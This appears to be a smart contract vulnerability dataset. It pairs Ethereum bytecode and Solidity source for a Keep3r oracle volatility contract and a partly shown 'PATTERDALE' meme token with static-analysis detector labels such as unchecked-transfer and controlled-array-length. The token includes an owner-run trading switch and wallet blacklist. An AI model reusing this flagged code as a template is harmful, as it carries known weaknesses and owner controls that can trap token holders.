c3100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690631a88cc31906109ec90889060040161113f565b60006040518083038186803b158015610a0457600080fd5b505afa158015610a18573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a409190810190610fdb565b9250600091505b8260200151821015610aa6578251805183908110610a6157fe5b906020019060200201519050806000015186118015610a84575080602001518611155b15610a9b5760408101516064908702049350610aab565b600190910190610a47565b600093505b50505092915050565b60055481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ade57600080fd5b600255565b806040516020018082805190602001908083835b60208310610b165780518252601f199092019160209182019101610af7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610b795780518252601f199092019160209182019101610b5a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091206005541492505081159050610bcd575060045473ffffffffffffffffffffffffffffffffffffffff16155b1515610bd857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19163317908190556040517fc99430857c2cdea7c71b0bfb21f2f52a058e57959289dd417b68de4c9368b5e791610c419173ffffffffffffffffffffffffffffffffffffffff91909116906110e0565b60405180910390a150565b828202828482811515610c5b57fe5b041415610c75578181811515610c6d57fe5b049050610c8d565b610c8a8285811515610c8357fe5b0484610d11565b90505b9392505050565b828202828482811515610ca357fe5b041415610ce6578181811515610cb557fe5b061515610ccf578181811515610cc757fe5b049050610ce1565b8181811515610cda57fe5b0460010190505b610c8d565b610cf48285811515610c8357fe5b90508184811515610d0157fe5b0615610c8d576001019392505050565b818102821580610d2b5750818382811515610d2857fe5b04145b15156106a857600080fd5b604080518082019091526000808252602082015290565b60408051808201909152606081526000602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b60006106a582356111e6565b6000601f82018313610da457600080fd5b8151610db7610db28261119d565b611176565b91508181835260208401935060208101905083856060840282011115610ddc57600080fd5b60005b83811015610e0a5781610df28882610e72565b84525060209092019160609190910190600101610ddf565b5050505092915050565b60006106a582356111ff565b60006106a582516111ff565b6000601f82018313610e3d57600080fd5b8135610e4b610db2826111be565b91508082526020830160208301858383011115610e6757600080fd5b610aab838284611212565b600060608284031215610e8457600080fd5b610e8e6060611176565b90506000610e9c8484610f38565b8252506020610ead84848301610f38565b6020830152506040610ec184828501610f38565b60408301525092915050565b600060408284031215610edf57600080fd5b610ee96040611176565b825190915067ffffffffffffffff811115610f0357600080fd5b610f0f84828501610d93565b8252506020610f2084848301610f38565b60208301525092915050565b60006106a58235611204565b60006106a58251611204565b600060208284031215610f5657600080fd5b6000610f628484610d87565b949350505050565b600060208284031215610f7c57600080fd5b6000610f628484610e14565b600060208284031215610f9a57600080fd5b6000610f628484610e20565b600060208284031215610fb857600080fd5b813567ffffffffffffffff811115610fcf57600080fd5b610f6284828501610e2c565b600060208284031215610fed57600080fd5b815167ffffffffffffffff81111561100457600080fd5b610f6284828501610ecd565b60006020828403121561102257600080fd5b6000610f628484610f2c565b60006020828403121561104057600080fd5b6000610f628484610f38565b6000806040838503121561105f57600080fd5b600061106b8585610f2c565b925050602061107c85828601610f2c565b9150509250929050565b6000806040838503121561109957600080fd5b60006110a58585610f38565b925050602061107c85828601610f38565b6110bf816111e6565b82525050565b6110bf816111ff565b6110bf81611204565b6110bf81611207565b602081016106a882846110b6565b604081016110fc82856110b6565b610c8d60208301846110b6565b6060810161111782866110b6565b61112460208301856110b6565b610f6260408301846110ce565b602081016106a882846110c5565b602081016106a882846110ce565b602081016106a882846110d7565b6040810161116982856110ce565b610c8d60208301846110ce565b60405181810167ffffffffffffffff8111828210171561119557600080fd5b604052919050565b600067ffffffffffffffff8211156111b457600080fd5b5060209081020190565b600067ffffffffffffffff8211156111d557600080fd5b506020601f91909101601f19160190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b90565b60006106a8826111e6565b828183375060009101525600a265627a7a723058205499b79809a25ecb6ffb0019f627b1acafae1b2efadd0de2a0c271576f2c346f6c6578706572696d656e74616cf50037a265627a7a72305820f78618f33e3c1f1acc5530f23e7a2ef24bfa008dd44744d4f41c98ea1c166c836c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,159
0x08F0dE74bfa904c33a893865156A91246c7cd455
/** *Submitted for verification at Etherscan.io on 2021-03-19 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: IERC20 interface IERC20 { function decimals() external view returns (uint); } // Part: IKeep3rV1Oracle // Modified from https://github.com/keep3r-network/keep3r.network/blob/master/contracts/Keep3rV1Volatility.sol // Subject to the MIT license interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); } // File: Keep3rV1OracleMetrics.sol contract Keep3rV1OracleMetrics { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; uint public constant periodSize = 1800; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0xf67Ab1c914deE06Ba0F264031885Ea7B276a7cDa); // SushiswapV1Oracle function floorLog2(uint256 _n) public pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function ln(uint256 x) public pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) public pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } /** * @notice computes mle for mu in assumed GBM price path * @dev Non-standard form of P_t = P_0 * e^{mu * t + sigma * W_t} */ function mu(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint m) { // TODO: Fix for signed int output uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window); for (uint8 i = 1; i <= (p.length - 1); i++) { m += (ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)); } return m / (periodSize * (p.length - 1)); } /** * @notice computes mle for sigma**2 in assumed GBM price path * @dev Non-standard form of P_t = P_0 * e^{mu * t + sigma * W_t} */ function sigSqrd(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint ss) { // TODO: Fix for signed int output uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window); uint m = mu(tokenIn, tokenOut, points, window); m = m * periodSize; for (uint8 i = 1; i <= (p.length - 1); i++) { ss += ((ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)) - m)**2; // FIXED_1 needed? } return ss / (periodSize * (p.length - 1)); } /** * @notice computes mle for sigma in assumed GBM price path * @dev Non-standard form of P_t = P_0 * e^{mu * t + sigma * W_t} */ function sig(address tokenIn, address tokenOut, uint points, uint window) external view returns (uint) { return sqrt(sigSqrd(tokenIn, tokenOut, points, window)); } /** * @notice rolling mu for last r windows */ function rMu(address tokenIn, address tokenOut, uint points, uint window, uint8 r) public view returns (uint[] memory) { uint[] memory _mus = new uint[](r); // need to hit sample() for points = r * points with window = window to get extra number of points // then for i = 1, ..., r; assemble the _mus uint allPoints = points * uint(r); uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, allPoints, window); uint m = 0; uint index = 0; for (uint8 i = 1; i <= (p.length - 1); i++) { m += (ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)); if (i % (points * window) == 0) { _mus[index] = (m / (periodSize * (p.length - 1))); m = 0; index += 1; } } return _mus; } /** * @notice rolling sig for last r windows */ function rSigSqrd(address tokenIn, address tokenOut, uint points, uint window, uint8 r) external view returns (uint[] memory) { uint[] memory _mus = rMu(tokenIn, tokenOut, points, window, r); uint[] memory _sigs = new uint[](r); // need to hit sample() for points = r * points with window = window to get extra number of points // then for i = 1, ..., r; assemble the _sigs uint allPoints = points * uint(r); uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, allPoints, window); uint ss = 0; uint index = 0; for (uint8 i = 1; i <= (p.length - 1); i++) { ss += ((ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)) - _mus[index]*periodSize)**2; if (i % (points * window) == 0) { _sigs[index] = (ss / (periodSize * (p.length - 1))); ss = 0; index += 1; } } return _sigs; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80637f8290d0116100715780637f8290d0146101a557806395050862146101c9578063b14971d2146101e6578063ba4d32b51461027c578063e4463eb2146102b8578063ff133ebc146102c0576100a9565b806324d4e90a146100ae578063303cf69f146100dd57806345b8bafc1461011957806351da139d1461014c578063677342ce14610188575b600080fd5b6100cb600480360360208110156100c457600080fd5b5035610306565b60408051918252519081900360200190f35b6100cb600480360360808110156100f357600080fd5b506001600160a01b0381358116916020810135909116906040810135906060013561039a565b6101366004803603602081101561012f57600080fd5b50356105ec565b6040805160ff9092168252519081900360200190f35b6100cb6004803603608081101561016257600080fd5b506001600160a01b0381358116916020810135909116906040810135906060013561064e565b6100cb6004803603602081101561019e57600080fd5b503561066d565b6101ad6106a4565b604080516001600160a01b039092168252519081900360200190f35b6100cb600480360360208110156101df57600080fd5b50356106bc565b61022c600480360360a08110156101fc57600080fd5b5080356001600160a01b03908116916020810135909116906040810135906060810135906080013560ff16610a60565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610268578181015183820152602001610250565b505050509050019250505060405180910390f35b6100cb6004803603608081101561029257600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610d4b565b6100cb610f79565b61022c600480360360a08110156102d657600080fd5b5080356001600160a01b03908116916020810135909116906040810135906060810135906080013560ff16610f7f565b600080600160801b83106103365760006103256001607f1b85046105ec565b60ff1693841c936001607f1b029150505b6001607f1b83111561038457607f5b60ff811615610382576001607f1b848002049350600160801b841061037957600193841c9360ff6000198301161b91909101905b60001901610345565b505b6402540be40064019d25ddbe8202049392505050565b6000606073f67ab1c914dee06ba0f264031885ea7b276a7cda6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156103fb57600080fd5b505afa15801561040f573d6000803e3d6000fd5b505050506040513d602081101561042557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b15801561048e57600080fd5b505afa1580156104a2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156104cb57600080fd5b8101908080516040519392919084600160201b8211156104ea57600080fd5b9083019060208201858111156104ff57600080fd5b82518660208202830111600160201b8211171561051b57600080fd5b82525081516020918201928201910280838360005b83811015610548578181015183820152602001610530565b505050509050016040525050509050600061056587878787610d4b565b61070802905060015b60018351038160ff16116105ce576002826105a76001607f1b866001860360ff168151811061059957fe5b602002602001015102610306565b6105be6001607f1b878660ff168151811061059957fe5b03030a939093019260010161056e565b5060018251036107080283816105e057fe5b04979650505050505050565b600080610100831015610614575b600183111561060f57600192831c92016105fa565b610648565b60805b60ff81161561064657600160ff82161b841061063b5760ff81169390931c92908117905b60011c607f16610617565b505b92915050565b600061066461065f8686868661039a565b61066d565b95945050505050565b80600260018201045b8181101561069e5780915060028182858161068d57fe5b04018161069657fe5b049050610676565b50919050565b73f67ab1c914dee06ba0f264031885ea7b276a7cda81565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b8282028161073557fe5b04905080660c0135dca0400002830192506001607f1b8282028161075557fe5b049050806601b707b1cdc00002830192506001607f1b8282028161077557fe5b049050806536e0f639b80002830192506001607f1b8282028161079457fe5b04905080650618fee9f80002830192506001607f1b828202816107b357fe5b04905080649c197dcc0002830192506001607f1b828202816107d157fe5b04905080640e30dce40002830192506001607f1b828202816107ef57fe5b0490508064012ebd130002830192506001607f1b8282028161080d57fe5b049050806317499f0002830192506001607f1b8282028161082a57fe5b049050806301a9d48002830192506001607f1b8282028161084757fe5b04905080621c638002830192506001607f1b8282028161086357fe5b049050806201c63802830192506001607f1b8282028161087f57fe5b04905080611ab802830192506001607f1b8282028161089a57fe5b0490508061017c02830192506001607f1b828202816108b557fe5b04905080601402830192506001607f1b828202816108cf57fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b8516156109205770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b851615610956577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b85161561098b576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b8516156109bf576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b8516156109f3576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b851615610a26576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b851615610a57576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b50909392505050565b606080610a708787878787610f7f565b905060608360ff1667ffffffffffffffff81118015610a8e57600080fd5b50604051908082528060200260200182016040528015610ab8578160200160208202803683370190505b50905060008460ff1687029050606073f67ab1c914dee06ba0f264031885ea7b276a7cda6001600160a01b0316630a7933988b8c6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2457600080fd5b505afa158015610b38573d6000803e3d6000fd5b505050506040513d6020811015610b4e57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a6024830152918d16604482015260648101869052608481018b9052905160a4808301926000929190829003018186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610bf457600080fd5b8101908080516040519392919084600160201b821115610c1357600080fd5b908301906020820185811115610c2857600080fd5b82518660208202830111600160201b82111715610c4457600080fd5b82525081516020918201928201910280838360005b83811015610c71578181015183820152602001610c59565b5050505090500160405250505090506000806000600190505b60018451038160ff1611610d3a576002610708888481518110610ca957fe5b602002602001015102610ccc6001607f1b876001860360ff168151811061059957fe5b610ce36001607f1b888660ff168151811061059957fe5b03030a83019250898b028160ff1681610cf857fe5b06610d32576001845103610708028381610d0e57fe5b04868381518110610d1b57fe5b602002602001018181525050600092506001820191505b600101610c8a565b50939b9a5050505050505050505050565b6000606073f67ab1c914dee06ba0f264031885ea7b276a7cda6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610dac57600080fd5b505afa158015610dc0573d6000803e3d6000fd5b505050506040513d6020811015610dd657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b158015610e3f57600080fd5b505afa158015610e53573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610e7c57600080fd5b8101908080516040519392919084600160201b821115610e9b57600080fd5b908301906020820185811115610eb057600080fd5b82518660208202830111600160201b82111715610ecc57600080fd5b82525081516020918201928201910280838360005b83811015610ef9578181015183820152602001610ee1565b5050505090500160405250505090506000600190505b60018251038160ff1611610f5c57610f376001607f1b836001840360ff168151811061059957fe5b610f4e6001607f1b848460ff168151811061059957fe5b039290920191600101610f0f565b506001815103610708028281610f6e57fe5b049695505050505050565b61070881565b6060808260ff1667ffffffffffffffff81118015610f9c57600080fd5b50604051908082528060200260200182016040528015610fc6578160200160208202803683370190505b50905060008360ff1686029050606073f67ab1c914dee06ba0f264031885ea7b276a7cda6001600160a01b0316630a7933988a8b6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561103257600080fd5b505afa158015611046573d6000803e3d6000fd5b505050506040513d602081101561105c57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a6024830152918c16604482015260648101869052608481018a9052905160a4808301926000929190829003018186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561110257600080fd5b8101908080516040519392919084600160201b82111561112157600080fd5b90830190602082018581111561113657600080fd5b82518660208202830111600160201b8211171561115257600080fd5b82525081516020918201928201910280838360005b8381101561117f578181015183820152602001611167565b5050505090500160405250505090506000806000600190505b60018451038160ff161161122c576111c06001607f1b856001840360ff168151811061059957fe5b6111d76001607f1b868460ff168151811061059957fe5b0383019250888a028160ff16816111ea57fe5b0661122457600184510361070802838161120057fe5b0486838151811061120d57fe5b602002602001018181525050600092506001820191505b600101611198565b50939a995050505050505050505056fea26469706673582212207ba1c771e53fd8b8ff3535a858521f8b74ad132ccdda1030aacde6b1286382c664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,160
0xce832a6d45ce573f3246f458643f4be7ed356ad0
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ /* Welcome to Patterdale Terrier ! If you found us - today is your lucky day! Find us on https://t.me/patterdaleeth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PATTERDALE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PATTERDALE TERRIER"; string private constant _symbol = "PATT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3FebC76cf714Afde68C4b9bccE51883f699996dA); address payable private _marketingAddress = payable(0x3FebC76cf714Afde68C4b9bccE51883f699996dA); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 35000000 * 10**9; uint256 public _maxWalletSize = 200000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { 